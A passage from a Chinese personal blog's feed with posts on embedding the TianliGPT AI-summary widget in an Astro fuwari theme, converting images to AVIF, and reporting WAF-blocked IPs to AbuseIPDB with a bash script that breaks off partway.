在控制台找到<a href="https://ai.zhheo.com/console/code-generator" target="_blank">代码生成器</a>往下滑可以找到配置接入代码的地方，你可能需要调整一些设置，比如说字数限制</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>&lt;</span><span>link</span><span> </span><span>rel</span><span>=</span><span>"stylesheet"</span><span> </span><span>href</span><span>=</span><span>"https://ai.zhheo.com/static/public/tianli_gpt.min.css"</span><span>&gt;</span></div></div><div><div><div>2</div></div><div><span>&lt;</span><span>script</span><span>&gt;</span></div></div><div><div><div>3</div></div><div><span>let</span><span><span> </span><span>tianliGPT_postSelector</span><span> </span></span><span>=</span><span> </span><span>'这里修改为指定参数，详见页面底部的摘要参数配置教程'</span><span>;</span></div></div><div><div><div>4</div></div><div><span>let</span><span><span> </span><span>tianliGPT_wordLimit</span><span> </span></span><span>=</span><span> </span><span>200</span><span>;</span></div></div><div><div><div>5</div></div><div><span>let</span><span><span> </span><span>tianliGPT_Title</span><span> </span></span><span>=</span><span> </span><span>'智能摘要'</span><span>;</span></div></div><div><div><div>6</div></div><div><span>let</span><span><span> </span><span>tianliGPT_key</span><span> </span></span><span>=</span><span> </span><span>'项目KEY'</span><span>;</span></div></div><div><div><div>7</div></div><div><span>&lt;/</span><span>script</span><span>&gt;</span></div></div><div><div><div>8</div></div><div><span>&lt;</span><span>script</span><span> </span><span>src</span><span>=</span><span>"https://ai.zhheo.com/static/public/tianli_gpt.min.js"</span><span>&gt;&lt;/</span><span>script</span><span>&gt;</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>日常其实只用改动这些参数
<code>tianliGPT_wordLimit</code>：字数限制
<code>tianliGPT_Title</code>：AI摘要标题</p><section><h2>如何填写tianliGPT_postSelector参数？<a href="#如何填写tianligpt_postselector参数"><span>#</span></a></h2><p>tianliGPT_postSelector这个参你自己去获取，洪墨AI文档中有记载，<a href="https://ai.zhheo.com/docs/summary.html" target="_blank">如何获取tianliGPT_postSelector？</a>文档中已经列出一些常见博客主题的选择器值(tianliGPT_postSelector)</p><p>这个列表中也没有astro或fuwari，由于我代码能力不行，我就直接把文章页面的HTML源代码丢给了Gemini，Gemini分析出我应该填写<code>.markdown-content</code>(Gemini上下文还是太高了，我原本想把源代码丢给Claude的但是Claude吃不下那么多)</p></section><section><h2>插入到模板<a href="#插入到模板"><span>#</span></a></h2><p>得到代码之后，我们就要把代码填入到模板，经过Gemini的分析，我们应该把代码插入<code>src/pages/posts/[...slug].astro</code>这个应该是文章的模板。</p><p>找到<code>src/pages/posts/[...slug].astro</code>中的最后一个<code>&lt;/MainGridLayout&gt;</code>（应该是在文件最下面）找到<code>&lt;/MainGridLayout&gt;</code>上面的<code>&lt;/div&gt;</code></p><p>这是我使用的代码（刚开始我是使用Gemini写的，但是效果太差所以我就换Claude来写了，如果你的博客也是fuwari你可以试试）</p><div><div><div><figure><figcaption><span>[...slug].astro</span><span>展开</span><span>收起</span></figcaption><pre><code><div><div><div>1</div></div><div><span>&lt;</span><span>div</span><span> </span><span>class</span><span>=</span><span>"hongmo-ai-container mt-4"</span><span>&gt;</span></div></div><div><div><div>2</div></div><div><span><span>    </span></span><span>&lt;</span><span>link</span><span> </span><span>rel</span><span>=</span><span>"stylesheet"</span><span> </span><span>href</span><span>=</span><span>"https://ai.zhheo.com/static/public/tianli_gpt.min.css"</span><span>&gt;</span></div></div><div><div><div>3</div></div><div>
</div></div><div><div><div>4</div></div><div><span>    </span><span>&lt;!-- 配置脚本 - 使用 data-astro-rerun 确保每次都执行 --&gt;</span></div></div><div><div><div>5</div></div><div><span><span>    </span></span><span>&lt;</span><span>script</span><span> </span><span>is:inline</span><span> </span><span>data-astro-rerun</span><span>&gt;</span></div></div><div><div><div>6</div></div><div><span><span>        </span></span><span>window</span><span>.</span><span>tianliGPT_postSelector</span><span> </span><span>=</span><span> </span><span>'.markdown-content'</span><span>;</span></div></div><div><div><div>7</div></div><div><span><span>        </span></span><span>window</span><span>.</span><span>tianliGPT_postURL</span><span> </span><span>=</span><span> </span><span>'*/posts/*'</span><span>;</span></div></div><div><div><div>8</div></div><div><span><span>        </span></span><span>window</span><span>.</span><span>tianliGPT_wordLimit</span><span> </span><span>=</span><span> </span><span>700</span><span>;</span></div></div><div><div><div>9</div></div><div><span><span>        </span></span><span>window</span><span>.</span><span>tianliGPT_Title</span><span> </span><span>=</span><span> </span><span>'智能摘要'</span><span>;</span></div></div><div><div><div>10</div></div><div><span><span>        </span></span><span>window</span><span>.</span><span>tianliGPT_key</span><span> </span><span>=</span><span> </span><span>'S-HMJ7UXQGBIAZ0U8Q'</span><span>;</span></div></div><div><div><div>11</div></div><div>
</div></div><div><div><div>12</div></div><div><span>        </span><span>// 立即尝试初始化</span></div></div><div><div><div>13</div></div><div><span>        </span><span>function</span><span> </span><span>tryInitTianliGPT</span><span>() {</span></div></div><div><div><div>14</div></div><div><span>            </span><span>if</span><span> (</span><span>typeof</span><span><span> </span><span>window</span><span>.</span></span><span>tianliGPT</span><span> </span><span>===</span><span> </span><span>'object'</span><span> </span><span>&amp;&amp;</span></div></div><div><div><div>15</div></div><div><span>                </span><span>typeof</span><span><span> </span><span>window</span><span>.</span></span><span>tianliGPT</span><span>.</span><span>checkURLAndRun</span><span> </span><span>===</span><span> </span><span>'function'</span><span>) {</span></div></div><div><div><div>16</div></div><div>
</div></div><div><div><div>17</div></div><div><span>                </span><span>// 清除旧的摘要</span></div></div><div><div><div>18</div></div><div><span>                </span><span>const</span><span> </span><span>old</span><span> </span><span>=</span><span><span> </span><span>document</span><span>.</span></span><span>querySelector</span><span>(</span><span>'#tianliGPT'</span><span>);</span></div></div><div><div><div>19</div></div><div><span>                </span><span>if</span><span><span> (</span><span>old</span><span>) </span><span>old</span><span>.</span></span><span>remove</span><span>();</span></div></div><div><div><div>20</div></div><div>
</div></div><div><div><div>21</div></div><div><span>                </span><span>// 等待 DOM 和动画</span></div></div><div><div><div>22</div></div><div><span>                </span><span>setTimeout</span><span>(() </span><span>=&gt;</span><span> {</span></div></div><div><div><div>23</div></div><div><span>                    </span><span>if</span><span><span> (</span><span>document</span><span>.</span></span><span>querySelector</span><span>(</span><span>'.markdown-content'</span><span>)) {</span></div></div><div><div><div>24</div></div><div><span><span>                        </span></span><span>window</span><span>.</span><span>tianliGPT</span><span>.</span><span>checkURLAndRun</span><span>();</span></div></div><div><div><div>25</div></div><div><span><span>                        </span></span><span>console</span><span>.</span><span>log</span><span>(</span><span>'✓ TianliGPT 初始化成功'</span><span>);</span></div></div><div><div><div>26</div></div><div><span><span>                    </span></span><span>}</span></div></div><div><div><div>27</div></div><div><span><span>                </span></span><span>}, </span><span>500</span><span>);</span></div></div><div><div><div>28</div></div><div><span><span>            </span></span><span>} </span><span>else</span><span> {</span></div></div><div><div><div>29</div></div><div><span>                </span><span>// 脚本还没加载,继续等待</span></div></div><div><div><div>30</div></div><div><span>                </span><span>setTimeout</span><span><span>(</span><span>tryInitTianliGPT</span><span>, </span></span><span>200</span><span>);</span></div></div><div><div><div>31</div></div><div><span><span>            </span></span><span>}</span></div></div><div><div><div>32</div></div><div><span><span>        </span></span><span>}</span></div></div><div><div><div>33</div></div><div>
</div></div><div><div><div>34</div></div><div><span>        </span><span>// 开始尝试</span></div></div><div><div><div>35</div></div><div><span>        </span><span>tryInitTianliGPT</span><span>();</span></div></div><div><div><div>36</div></div><div><span><span>    </span></span><span>&lt;/</span><span>script</span><span>&gt;</span></div></div><div><div><div>37</div></div><div>
</div></div><div><div><div>38</div></div><div><span>    </span><span>&lt;!-- 主脚本 - 只加载一次 --&gt;</span></div></div><div><div><div>39</div></div><div><span><span>    </span></span><span>&lt;</span><span>script</span><span> </span><span>is:inline</span><span>&gt;</span></div></div><div><div><div>40</div></div><div><span>        </span><span>// 使用全局标志避免重复加载脚本</span></div></div><div><div><div>41</div></div><div><span>        </span><span>if</span><span> (</span><span>!</span><span><span>window</span><span>.</span></span><span>tianliGPT_scriptLoaded</span><span>) {</span></div></div><div><div><div>42</div></div><div><span><span>            </span></span><span>window</span><span>.</span><span>tianliGPT_scriptLoaded</span><span> </span><span>=</span><span> </span><span>true</span><span>;</span></div></div><div><div><div>43</div></div><div><span>            </span><span>const</span><span> </span><span>script</span><span> </span><span>=</span><span><span> </span><span>document</span><span>.</span></span><span>createElement</span><span>(</span><span>'script'</span><span>);</span></div></div><div><div><div>44</div></div><div><span><span>            </span></span><span>script</span><span>.</span><span>src</span><span> </span><span>=</span><span> </span><span>'https://ai.zhheo.com/static/public/tianli_gpt.min.js'</span><span>;</span></div></div><div><div><div>45</div></div><div><span><span>            </span></span><span>script</span><span>.</span><span>async</span><span> </span><span>=</span><span> </span><span>true</span><span>;</span></div></div><div><div><div>46</div></div><div><span><span>            </span></span><span>document</span><span>.</span><span>body</span><span>.</span><span>appendChild</span><span><span>(</span><span>script</span><span>);</span></span></div></div><div><div><div>47</div></div><div><span><span>        </span></span><span>}</span></div></div><div><div><div>48</div></div><div><span><span>    </span></span><span>&lt;/</span><span>script</span><span>&gt;</span></div></div><div><div><div>49</div></div><div><span>&lt;/</span><span>div</span><span>&gt;</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div><p>插入后部署完就可以看到AI摘要了。</p><p>效果
<img src="https://img.mckero.com/cdn-cgi/image/width=800,format=auto,quality=80/add-TianliGPT/result-add-tianliGPT.avif" alt="" srcset="https://img.mckero.com/cdn-cgi/image/width=500,format=auto,quality=80/add-TianliGPT/result-add-tianliGPT.avif 500w, https://img.mckero.com/cdn-cgi/image/width=800,format=auto,quality=80/add-TianliGPT/result-add-tianliGPT.avif 800w, https://img.mckero.com/cdn-cgi/image/width=1200,format=auto,quality=80/add-TianliGPT/result-add-tianliGPT.avif 1200w, https://img.mckero.com/cdn-cgi/image/width=1600,format=auto,quality=80/add-TianliGPT/result-add-tianliGPT.avif 1600w" loading="lazy" /></p></section></section>]]></content>
    </entry>
    <entry>
      <id>https://blog.mckero.com/posts/try-to-use-avif/</id>
      <title type="text">把博客的图片格式迁移到AVIF</title>
      <published>2025-11-25T00:00:00.000Z</published>
      <updated>2025-11-25T00:00:00.000Z</updated>
      <author><name>MC_Kero</name></author>
      <link rel="alternate" href="https://blog.mckero.com/posts/try-to-use-avif/"/>
      <summary type="text">cloudflare在中国大陆的访问速度太慢了，我看到cloudflare的官网上有这个付费模块，就来尝尝鲜。</summary>
      <content type="html"><![CDATA[<section><h1>从webP转换到AVIF<a href="#从webp转换到avif"><span>#</span></a></h1><p>我的博客之前一直都是使用<code>webP</code>图片格式的，但是因为最近我换了图床，看到有一种图片格式叫做<code>AVIF</code>的图片格式，就顺便转换了。</p><section><h2>AVIF和webP有什么区别<a href="#avif和webp有什么区别"><span>#</span></a></h2><p>对我来说，最重要的就是压缩率和兼容性和。</p>

<table><thead><tr><th></th><th>AVIF</th><th>webP</th></tr></thead><tbody><tr><td>压缩率</td><td>80%左右</td><td>50%左右</td></tr><tr><td>兼容性</td><td>现代浏览器基本都支持</td><td>比AVIF兼容性更好，兼容更老的浏览器</td></tr><tr><td>可以看到AVIF的压缩率更好，我的200多KB的jpg图片转换成AVIF后才40KB左右。</td><td></td><td></td></tr></tbody></table></section></section>
<section><h1>最差实践<a href="#最差实践"><span>#</span></a></h1><p>不要把较小的webP图片转换成AVIF！要不然就会想我这样，11KB的webP转换成AVIF后要14KB这就是反向优化！</p></section>
<section><h1>效果<a href="#效果"><span>#</span></a></h1><p>这是一个火狐浏览器的图标(PNG格式，298.59KB)</p><p><img src="https://img.mckero.com/cdn-cgi/image/width=800,format=auto,quality=80/try-to-use-avif/Firefox-icon-png.png" alt="" srcset="https://img.mckero.com/cdn-cgi/image/width=500,format=auto,quality=80/try-to-use-avif/Firefox-icon-png.png 500w, https://img.mckero.com/cdn-cgi/image/width=800,format=auto,quality=80/try-to-use-avif/Firefox-icon-png.png 800w, https://img.mckero.com/cdn-cgi/image/width=1200,format=auto,quality=80/try-to-use-avif/Firefox-icon-png.png 1200w, https://img.mckero.com/cdn-cgi/image/width=1600,format=auto,quality=80/try-to-use-avif/Firefox-icon-png.png 1600w" loading="lazy" /></p><p>这是转换成AVIF后的大小，15.74KB</p><p><img src="https://img.mckero.com/cdn-cgi/image/width=800,format=auto,quality=80/try-to-use-avif/Firefox-icon-avif.avif" alt="" srcset="https://img.mckero.com/cdn-cgi/image/width=500,format=auto,quality=80/try-to-use-avif/Firefox-icon-avif.avif 500w, https://img.mckero.com/cdn-cgi/image/width=800,format=auto,quality=80/try-to-use-avif/Firefox-icon-avif.avif 800w, https://img.mckero.com/cdn-cgi/image/width=1200,format=auto,quality=80/try-to-use-avif/Firefox-icon-avif.avif 1200w, https://img.mckero.com/cdn-cgi/image/width=1600,format=auto,quality=80/try-to-use-avif/Firefox-icon-avif.avif 1600w" loading="lazy" /></p><p>不仔细看，看不出什么区别来。</p></section>
<section><h1>结语<a href="#结语"><span>#</span></a></h1><p>如果你的博客的读者大部分都是现代浏览器，你可以将你的博客的图片格式转换成AVIF，但是如果你的博客的读者大部分都不使用现代的浏览器，你可能得使用webP。</p></section>]]></content>
    </entry>
    <entry>
      <id>https://blog.mckero.com/posts/use-abuseipdb/</id>
      <title type="text">报告Cloudflare waf拦截的IP</title>
      <published>2025-11-25T00:00:00.000Z</published>
      <updated>2025-11-25T00:00:00.000Z</updated>
      <author><name>MC_Kero</name></author>
      <link rel="alternate" href="https://blog.mckero.com/posts/use-abuseipdb/"/>
      <summary type="text">最近看了waf，来扫描我的博客的机器人太多了，大部分还都用的是抗举报服务商，只能找一个数据库举报滥用了。</summary>
      <content type="html"><![CDATA[<section><h1>报告Cloudflare waf拦截的IP<a href="#报告cloudflare-waf拦截的ip"><span>#</span></a></h1><p>最近看cloudflare的waf统计里面来扫描的IP越来越多了，我就想找一个渠道来举报这些Ip，为社区做做贡献。</p><section><h2>AbuseIPDB是什么<a href="#abuseipdb是什么"><span>#</span></a></h2><p>AbuseIPDB 是一个专门用于报告和查询恶意 IP 地址的在线数据库。它的主要目标是帮助用户识别和防范与特定 IP 地址相关的滥用行为，例如网络攻击、垃圾邮件、端口扫描和暴力破解等。</p><p>它还是由社区驱动的，大部分的数据来源都是源于用户。</p></section><section><h2>如何在AbuseIPDB查看IP？<a href="#如何在abuseipdb查看ip"><span>#</span></a></h2><p><a href="https://www.abuseipdb.com/" target="_blank">AbuseIPDB</a>进入AbuseIPDB的官网后</p><p><img src="https://img.mckero.com/cdn-cgi/image/width=800,format=auto,quality=80/use-AbuseIPDB/AbuseIPDB-website.avif" alt="" srcset="https://img.mckero.com/cdn-cgi/image/width=500,format=auto,quality=80/use-AbuseIPDB/AbuseIPDB-website.avif 500w, https://img.mckero.com/cdn-cgi/image/width=800,format=auto,quality=80/use-AbuseIPDB/AbuseIPDB-website.avif 800w, https://img.mckero.com/cdn-cgi/image/width=1200,format=auto,quality=80/use-AbuseIPDB/AbuseIPDB-website.avif 1200w, https://img.mckero.com/cdn-cgi/image/width=1600,format=auto,quality=80/use-AbuseIPDB/AbuseIPDB-website.avif 1600w" loading="lazy" /></p><p>可以看到在这里就可以查看IP的欺诈度。</p><p>我查看一下1.1.1.1
<img src="https://img.mckero.com/cdn-cgi/image/width=800,format=auto,quality=80/use-AbuseIPDB/AbuseIPDB-check-cloudflare-dns.avif" alt="" srcset="https://img.mckero.com/cdn-cgi/image/width=500,format=auto,quality=80/use-AbuseIPDB/AbuseIPDB-check-cloudflare-dns.avif 500w, https://img.mckero.com/cdn-cgi/image/width=800,format=auto,quality=80/use-AbuseIPDB/AbuseIPDB-check-cloudflare-dns.avif 800w, https://img.mckero.com/cdn-cgi/image/width=1200,format=auto,quality=80/use-AbuseIPDB/AbuseIPDB-check-cloudflare-dns.avif 1200w, https://img.mckero.com/cdn-cgi/image/width=1600,format=auto,quality=80/use-AbuseIPDB/AbuseIPDB-check-cloudflare-dns.avif 1600w" loading="lazy" /></p><p>可以看到1.1.1.1是有白名单的，因为这是cloudflare的DNS服务。</p></section><section><h2>注册AbuseIPDB<a href="#注册abuseipdb"><span>#</span></a></h2><p>点击Sign up</p><p><img src="https://img.mckero.com/cdn-cgi/image/width=800,format=auto,quality=80/use-AbuseIPDB/AbuseIPDB-Signup.avif" alt="" srcset="https://img.mckero.com/cdn-cgi/image/width=500,format=auto,quality=80/use-AbuseIPDB/AbuseIPDB-Signup.avif 500w, https://img.mckero.com/cdn-cgi/image/width=800,format=auto,quality=80/use-AbuseIPDB/AbuseIPDB-Signup.avif 800w, https://img.mckero.com/cdn-cgi/image/width=1200,format=auto,quality=80/use-AbuseIPDB/AbuseIPDB-Signup.avif 1200w, https://img.mckero.com/cdn-cgi/image/width=1600,format=auto,quality=80/use-AbuseIPDB/AbuseIPDB-Signup.avif 1600w" loading="lazy" /></p><p>然后会让我们选择API的调用计划
你要是没有大量的需求就不用付费。
所以我就选Free</p><p><img src="https://img.mckero.com/cdn-cgi/image/width=800,format=auto,quality=80/use-AbuseIPDB/AbuseIPDB-plan.avif" alt="" srcset="https://img.mckero.com/cdn-cgi/image/width=500,format=auto,quality=80/use-AbuseIPDB/AbuseIPDB-plan.avif 500w, https://img.mckero.com/cdn-cgi/image/width=800,format=auto,quality=80/use-AbuseIPDB/AbuseIPDB-plan.avif 800w, https://img.mckero.com/cdn-cgi/image/width=1200,format=auto,quality=80/use-AbuseIPDB/AbuseIPDB-plan.avif 1200w, https://img.mckero.com/cdn-cgi/image/width=1600,format=auto,quality=80/use-AbuseIPDB/AbuseIPDB-plan.avif 1600w" loading="lazy" /></p><p>就会跳转到这个页面，正常填写就好</p><p><img src="https://img.mckero.com/cdn-cgi/image/width=800,format=auto,quality=80/use-AbuseIPDB/AbuseIPDB-Signup-input.avif" alt="" srcset="https://img.mckero.com/cdn-cgi/image/width=500,format=auto,quality=80/use-AbuseIPDB/AbuseIPDB-Signup-input.avif 500w, https://img.mckero.com/cdn-cgi/image/width=800,format=auto,quality=80/use-AbuseIPDB/AbuseIPDB-Signup-input.avif 800w, https://img.mckero.com/cdn-cgi/image/width=1200,format=auto,quality=80/use-AbuseIPDB/AbuseIPDB-Signup-input.avif 1200w, https://img.mckero.com/cdn-cgi/image/width=1600,format=auto,quality=80/use-AbuseIPDB/AbuseIPDB-Signup-input.avif 1600w" loading="lazy" /></p><p>就是有一个地方要注意，这里如果你不是站长就选个人，如果你是站长(就像我有一个域名和网站,待会要验证站长身份)就选站长，然后填写你的域名。(不是子域名😂)</p><p><img src="https://img.mckero.com/cdn-cgi/image/width=800,format=auto,quality=80/use-AbuseIPDB/AbuseIPDB-Signup-focal-point.avif" alt="" srcset="https://img.mckero.com/cdn-cgi/image/width=500,format=auto,quality=80/use-AbuseIPDB/AbuseIPDB-Signup-focal-point.avif 500w, https://img.mckero.com/cdn-cgi/image/width=800,format=auto,quality=80/use-AbuseIPDB/AbuseIPDB-Signup-focal-point.avif 800w, https://img.mckero.com/cdn-cgi/image/width=1200,format=auto,quality=80/use-AbuseIPDB/AbuseIPDB-Signup-focal-point.avif 1200w, https://img.mckero.com/cdn-cgi/image/width=1600,format=auto,quality=80/use-AbuseIPDB/AbuseIPDB-Signup-focal-point.avif 1600w" loading="lazy" /></p><p>注册好以后，要邮箱验证，看看邮箱收件箱点一下验证的链接。
站长验证也是很简单，就给你的域名加个TXT记录就好了（不要删除记录，后续可能还要检查）</p><p><img src="https://img.mckero.com/cdn-cgi/image/width=800,format=auto,quality=80/use-AbuseIPDB/AbuseIPDB-Webmaster-verification.avif" alt="" srcset="https://img.mckero.com/cdn-cgi/image/width=500,format=auto,quality=80/use-AbuseIPDB/AbuseIPDB-Webmaster-verification.avif 500w, https://img.mckero.com/cdn-cgi/image/width=800,format=auto,quality=80/use-AbuseIPDB/AbuseIPDB-Webmaster-verification.avif 800w, https://img.mckero.com/cdn-cgi/image/width=1200,format=auto,quality=80/use-AbuseIPDB/AbuseIPDB-Webmaster-verification.avif 1200w, https://img.mckero.com/cdn-cgi/image/width=1600,format=auto,quality=80/use-AbuseIPDB/AbuseIPDB-Webmaster-verification.avif 1600w" loading="lazy" /></p></section><section><h2>AbuseIPDB贡献者徽章<a href="#abuseipdb贡献者徽章"><span>#</span></a></h2><p>这个徽章我已经挂在<a href="https://blog.mckero.com/about/">我的博客关于</a></p><p><img src="https://img.mckero.com/cdn-cgi/image/width=800,format=auto,quality=80/use-AbuseIPDB/blog-Contributor-Badge/AbuseIPDB-Contributor-Badge-myblog-about.avif" alt="" srcset="https://img.mckero.com/cdn-cgi/image/width=500,format=auto,quality=80/use-AbuseIPDB/blog-Contributor-Badge/AbuseIPDB-Contributor-Badge-myblog-about.avif 500w, https://img.mckero.com/cdn-cgi/image/width=800,format=auto,quality=80/use-AbuseIPDB/blog-Contributor-Badge/AbuseIPDB-Contributor-Badge-myblog-about.avif 800w, https://img.mckero.com/cdn-cgi/image/width=1200,format=auto,quality=80/use-AbuseIPDB/blog-Contributor-Badge/AbuseIPDB-Contributor-Badge-myblog-about.avif 1200w, https://img.mckero.com/cdn-cgi/image/width=1600,format=auto,quality=80/use-AbuseIPDB/blog-Contributor-Badge/AbuseIPDB-Contributor-Badge-myblog-about.avif 1600w" loading="lazy" /></p><p>可以看到，还是很美观的，可以实时展示你举报的IP数量。（数量可能有些延迟）</p></section><section><h2>举报IP<a href="#举报ip"><span>#</span></a></h2><p>举报IP是通过api的（我当时还不知道😂😂😂）
我就不一个一个curl了，我让ai生成了一个脚本，还算方便。</p><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>#!/bin/bash</span></div></div><div><div><div>2</div></div><div>
</div></div><div><div><div>3</div></div><div><span># ====================================================================================</span></div></div><div><div><div>4</div></div><div><span># AbuseIPDB Advanced Reporter Script v2.0</span></div></div><div><div><div>5</div></div><div><span>#</span></div></div><div><div><div>6</div></div><div><span># Features:</span></div></div><div><div><div>7</div></div><div><span># - Secure API Key storage in a .conf file.</span></div></div><div><div><div>8</div></div><div><span># - Interactive menu for selecting report categories.</span></div></div><div><div><div>9</div></div><div><span># - Smart, template-based comment generation with dynamic info gathering.</span></div></div><div><div><div>10</div></div><div><span># ====================================================================================</span></div></div><div><div><div>11</div></div><div>
</div></div><div><div><div>12</div></div><div><span># --- 配置 ---</span></div></div><div><div><div>13</div></div><div><span>CONFIG_FILE</span><span>=</span><span>"abuseipdb.conf"</span></div></div><div><div><div>14</div></div><div><span>API_ENDPOINT</span><span>=</span><span>"https://api.abuseipdb.com/api/v2/report"</span></div></div><div><div><div>15</div></div><div>
</div></div><div><div><div>16</div></div><div><span># --- 颜色定义 ---</span></div></div><div><div><div>17</div></div><div><span>GREEN</span><span>=</span><span>'\033[0;32m'</span></div></div><div><div><div>18</div></div><div><span>RED</span><span>=</span><span>'\033[0;31m'</span></div></div><div><div><div>19</div></div><div><span>YELLOW</span><span>=</span><span>'\033[1;33m'</span></div></div><div><div><div>20</div></div><div><span>BLUE</span><span>=</span><span>'\033[0;34m'</span></div></div><div><div><div>21</div></div><div><span>NC</span><span>=</span><span>'\033[0m'</span></div></div><div><div><div>22</div></div><div>
</div></div><div><div><div>23</div></div><div><span># --- 全局变量 ---</span></div></div><div><div><div>24</div></div><div><span>IP_ADDRESS</span><span>=</span><span>""</span></div></div><div><div><div>25</div></div><div><span>CATEGORY_ID</span><span>=</span><span>""</span></div></div><div><div><div>26</div></div><div><span>COMMENT</span><span>=</span><span>""</span></div></div><div><div><div>27</div></div><div><span>TIMESTAMP</span><span>=</span><span>""</span></div></div><div><div><div>28</div></div><div>
</div></div><div><div><div>29</div></div><div><span># --- 函数：设置/加载API密钥 ---</span></div></div><div><div><div>30</div></div><div><span>function</span><span> </span><span>setup_api_key</span><span>() {</span></div></div><div><div><div>31</div></div><div><span>    </span><span>if</span><span><span> [ </span><span>!</span><span> </span><span>-f</span><span> </span></span><span>"</span><span>$CONFIG_FILE</span><span>"</span><span> ]; </span><span>then</span></div></div><div><div><div>32</div></div><div><span>        </span><span>echo</span><span> </span><span>-e</span><span> </span><span>"</span><span><span>${</span><span>YELLOW</span><span>}</span></span><span>配置文件 '</span><span>$CONFIG_FILE</span><span>' 未找到。</span><span><span>${</span><span>NC</span><span>}</span></span><span>"</span></div></div><div><div><div>33</div></div><div><span>        </span><span>read</span><span> </span><span>-p</span><span> </span><span>"请输入您的 AbuseIPDB API Key: "</span><span> </span><span>new_key</span></div></div><div><div><div>34</div></div><div><span>        </span><span>if</span><span><span> [ </span><span>-z</span><span> </span></span><span>"</span><span>$new_key</span><span>"</span><span> ]; </span><span>then</span></div></div><div><div><div>35</div></div><div><span>            </span><span>echo</span><span> </span><span>-e</span><span> </span><span>"</span><span><span>${</span><span>RED</span><span>}</span></span><span>错误：API Key 不能为空。退出脚本。</span><span><span>${</span><span>NC</span><span>}</span></span><span>"</span><span>; </span><span>exit</span><span> </span><span>1</span><span>;</span></div></div><div><div><div>36</div></div><div><span>        </span><span>fi</span></div></div><div><div><div>37</div></div><div><span>        </span><span>echo</span><span> </span><span>"API_KEY=</span><span>\"</span><span>$new_key</span><span>\"</span><span>"</span><span> &gt; </span><span>"</span><span>$CONFIG_FILE</span><span>"</span></div></div><div><div><div>38</div></div><div><span>        </span><span>echo</span><span> </span><span>-e</span><span> </span><span>"</span><span><span>${</span><span>GREEN</span><span>}</span></span><span>API Key 已成功保存到 '</span><span>$CONFIG_FILE</span><span>'。</span><span><span>${</span><span>NC</span><span>}</span></span><span>\n"</span></div></div><div><div><div>39</div></div><div><span>    </span><span>fi</span></div></div><div><div><div>40</div></div><div><span>    </span><span>source</span><span> </span><span>"</span><span>$CONFIG_FILE</span><span>"</span></div></div><div><div><div>41</div></div><div><span>    </span><span>if</span><span><span> [ </span><span>-z</span><span> </span></span><span>"</span><span>$API_KEY</span><span>"</span><span> ]; </span><span>then</span></div></div><div><div><div>42</div></div><div><span>        </span><span>echo</span><span> </span><span>-e</span><span> </span><span>"</span><span><span>${</span><span>RED</span><span>}</span></span><span>错误：在 '</span><span>$CONFIG_FILE</span><span>' 中找不到 API_KEY 或其值为空。</span><span><span>${</span><span>NC</span><span>}</span></span><span>"</span><span>; </span><span>exit</span><span> </span><span>1</span><span>;</span></div></div><div><div><div>43</div></div><div><span>    </span><span>fi</span></div></div><div><div><div>44</div></div><div><span>}</span></div></div><div><div><div>45</div></div><div>
</div></div><div><div><div>46</div></div><div><span># --- 函数：处理暴力破解 [18] ---</span></div></div><div><div><div>47</div></div><div><span>function</span><span> </span><span>handle_brute_force</span><span>() {</span></div></div><div><div><div>48</div></div><div><span>    </span><span>CATEGORY_ID</span><span>=</span><span>"18"</span></div></div><div><div><div>49</div></div><div><span>    </span><span>echo</span><span> </span><span>-e</span><span> </span><span>"\n</span><span><span>${</span><span>YELLOW</span><span>}</span></span><span>请输入暴力破解攻击的详细信息...</span><span><span>${</span><span>NC</span><span>}</span></span><span>"</span></div></div><div><div><div>50</div></div><div><span>    </span><span>read</span><span> </span><span>-p</span><span> </span><span>"  -&gt; 攻击的服务 (e.g., SSH, FTP, SMTP, WordPress): "</span><span> </span><span>service_name</span></div></div><div><div><div>51</div></div><div><span>    </span><span>read</span><span> </span><span>-p</span><span> </span><span>"  -&gt; 尝试的用户名 (留空则忽略): "</span><span> </span><span>username</span></div></div><div><div><div>52</div></div><div>
</div></div><div><div><div>53</div></div><div><span>    </span><span>COMMENT</span><span>=</span><span>"Automated report: Brute-force attack detected on service '</span><span>$service_name</span><span>' from IP </span><span>$IP_ADDRESS</span><span> at </span><span>$TIMESTAMP</span><span>."</span></div></div><div><div><div>54</div></div><div><span>    </span><span>if</span><span><span> [ </span><span>-n</span><span> </span></span><span>"</span><span>$username</span><span>"</span><span> ]; </span><span>then</span></div></div><div><div><div>55</div></div><div><span>        </span><span>COMMENT</span><span>+=</span><span>" Multiple failed login attempts were recorded for username '</span><span>$username</span><span>'."</span></div></div><div><div><div>56</div></div><div><span>    </span><span>fi</span></div></div><div><div><div>57</div></div><div><span>}</span></div></div><div><div><div>58</div></div><div>
</div></div><div><div><div>59</div></div><div><span># --- 函数：处理SSH攻击 [22] ---</span></div></div><div><div><div>60</div></div><div><span>function</span><span> </span><span>handle_ssh</span><span>() {</span></div></div><div><div><div>61</div></div><div><span>    </span><span>CATEGORY_ID</span><span>=</span><span>"22"</span></div></div><div><div><div>62</div></div><div><span>    </span><span>echo</span><span> </span><span>-e</span><span> </span><span>"\n</span><span><span>${</span><span>YELLOW</span><span>}</span></span><span>请输入SSH攻击的详细信息...</span><span><span>${</span><span>NC</span><span>}</span></span><span>"</span></div></div><div><div><div>63</div></div><div><span>    </span><span>read</span><span> </span><span>-p</span><span> </span><span>"  -&gt; 尝试的用户名 (e.g., root, admin. 留空则忽略): "</span><span> </span><span>username</span></div></div><div><div><div>64</div></div><div>
</div></div><div><div><div>65</div></div><div><span>    </span><span>COMMENT</span><span>=</span><span>"Automated report: SSH brute-force attack detected from IP </span><span>$IP_ADDRESS</span><span> at </span><span>$TIMESTAMP</span><span>."</span></div></div><div><div><div>66</div></div><div><span>    </span><span>if</span><span><span> [ </span><span>-n</span><span> </span></span><span>"</span><span>$username</span><span>"</span><span> ]; </span><span>then</span></div></div><div><div><div>67</div></div><div><span>        </span><span>COMMENT</span><span>+=</span><span>" Multiple failed login attempts were recorded for username '</span><span>$username</span><span>'."</span></div></div><div><div><div>68</div></div><div><span>    </span><span>else</span></div></div><div><div><div>69</div></div><div><span>        </span><span>COMMENT</span><span>+=</span><span>" Multiple failed login attempts were recorded with various usernames."</span></div></div><div><div><div>70</div></div><div><span>    </span><span>fi</span></div></div><div><div><div>71</div></div><div><span>}</span></div></div><div><div><div>72</div></div><div>
